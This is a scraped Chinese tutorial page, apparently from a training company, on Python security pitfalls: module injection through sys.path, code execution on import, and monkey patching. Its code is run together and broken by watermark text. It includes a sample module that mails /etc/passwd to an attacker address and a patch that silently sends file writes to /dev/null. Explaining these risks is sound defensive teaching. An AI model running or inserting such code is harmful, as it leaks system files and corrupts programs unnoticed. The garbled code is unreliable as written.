您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 市场营销 > Python学习中你不可不知的Python陷阱(二)
精品课程全程面授中国IT职业教育领先品牌千锋教育陷阱(二)本篇文章主要是对上篇文章Python学习中的出现的安全隐患问题的一个补充,安全隐患不可小看,一不注意就可能造成很大的错误。模块注入Python的模块导入系统功能强大而复杂。模块和包可以通过定义在sys.path列表中的搜索路径找到的文件或目录名导入。搜索路径初始化是一个复杂的过程,它也依赖于Python版本,平台和本地配置。要对一个Python应用程序进行成功攻击,攻击者需要找到一种方法来将恶意Python模块揉入进Python在尝试导入模块时会考虑的一个目录或可导入包文件。处理措施是维护搜索路径中的所有目录和包文件的安全访问权限,以确保未经授权的用户无法对其进行写访问。请记住,调用Python解释器的初始脚本所在的目录会自动插入到搜索路径中。像这样运行脚本显示实际的搜索路径:root@iZ2854ev03bZ:~#catmyapp.py精品课程全程面授中国IT职业教育领先品牌千锋教育!/usr/bin/envpython#-*-coding:utf-8-*-importsysimportpprintpprint.pprint(sys.path)在Windows平台,Python进程的当前工作目录,而不是脚本所在位置,会被注入到搜索路径中。在UNIX平台,无论何时从标准输入或者命令行\(-或者-c或者-m选项\)读入程序代码,当前工作目录都会自动插入到sys.path中:root@iZ2854ev03bZ:~#echoimportsys;importpprint;pprint.pprint(sys.path)|python-['','/usr/local/lib/python2.7/dist-packages/gensim-0.12.3-py2.7-linux-x86_64.egg','/usr/local/lib/python2.7/dist-packages/smart_open-1.3.2-py2.7.egg','/usr/local/lib/python2.7/dist-packages/requests-2.8.1-py2.7.egg','/usr/local/lib/python2.7/dist-packages/bz2file-0.98-py2.7.egg',精品课程全程面授中国IT职业教育领先品牌千锋教育]精品课程全程面授中国IT职业教育领先品牌千锋教育@iZ2854ev03bZ:~#python-cimportsys;importpprint;pprint.pprint(sys.path)['','/usr/local/lib/python2.7/dist-packages/gensim-0.12.3-py2.7-linux-x86_64.egg','/usr/local/lib/python2.7/dist-packages/smart_open-1.3.2-py2.7.egg','/usr/local/lib/python2.7/dist-packages/requests-2.8.1-py2.7.egg','/usr/local/lib/python2.7/dist-packages/bz2file-0.98-py2.7.egg','/usr/local/lib/python2.7/dist-packages/httpretty-0.8.10-py2.7.egg','/usr/local/lib/python2.7/dist-packages/boto-2.38.0-py2.7.egg','/usr/lib/python2.7/dist-packages','/usr/local/lib/python2.7/dist-packages/tornado-4.3-py2.7-linux-x86_64.egg','/usr/local/lib/python2.7/dist-packages/singledispatch-3.4.0.3-py2.7.egg',精品课程全程面授中国IT职业教育领先品牌千锋教育]root@iZ2854ev03bZ:~#python-mmyapp['','/usr/local/lib/python2.7/dist-packages/gensim-0.12.3-py2.7-linux-x86_64.egg','/usr/local/lib/python2.7/dist-packages/smart_open-1.3.2-py2.7.egg','/usr/local/lib/python2.7/dist-packages/requests-2.8.1-py2.7.egg','/usr/local/lib/python2.7/dist-packages/bz2file-0.98-py2.7.egg',精品课程全程面授中国IT职业教育领先品牌千锋教育]精品课程全程面授中国IT职业教育领先品牌千锋教育要处理从当前工作路径注入模块的风险,推荐在Windows运行Python或者通过命令行传递代码之前,显式地修改目录到一个安全的目录。另一个搜索路径可能的来源是$PYTHONPATH环境变量的内容。抵御sys.path不被进程环境污染的简单方法是传递-E选项给Python解释器,这会让它忽略$PYTHONPATH变量。导入时的代码执行语句实际上会导致导入的模块中的代码的执行,这一事实并不明显。这就是为什么甚至导入不可信模块或包是有风险的。导入像这样的简单模块可能会导致不愉快的结果:$catmalicious.pyimportosimportsysos.system('cat/etc/passwd|mailattacker@blackhat.com')精品课程全程面授中国IT职业教育领先品牌千锋教育['malicious']#pretendit'snotimported$pythonimportmaliciousdir(malicious)Traceback(mostrecentcalllast):NameError:name'malicious'isnotdefined与sys.path入口注入攻击相结合,它可能为进一步的系统漏洞利用铺平道路。猴子补丁(monkeypatching)运行时修改Python对象属性的过程称之为猴子补丁(monkeypatching)。作为动态语言,Python完全支持运行时程序自省和代码突变。一旦以某种方式导入了一个恶意模块,那么任何现有的可变对象可被不知不觉地在没有程序员同意的情况下被打猴子补丁。考虑以下情况:$catnowrite.pyimportbuiltinsdefmalicious_open(*args,**kwargs):iflen(args)1andargs[1]=='w':args=('/dev/null',)+args[1:]精品课程全程面授中国IT职业教育领先品牌千锋教育(*args,**kwargs)original_open,builtins.open=builtins.open,malicious_open如果Python解释器执行了上面的代码,那么任
本文标题:Python学习中你不可不知的Python陷阱(二)
链接地址:https://www.777doc.com/doc-4355049 .html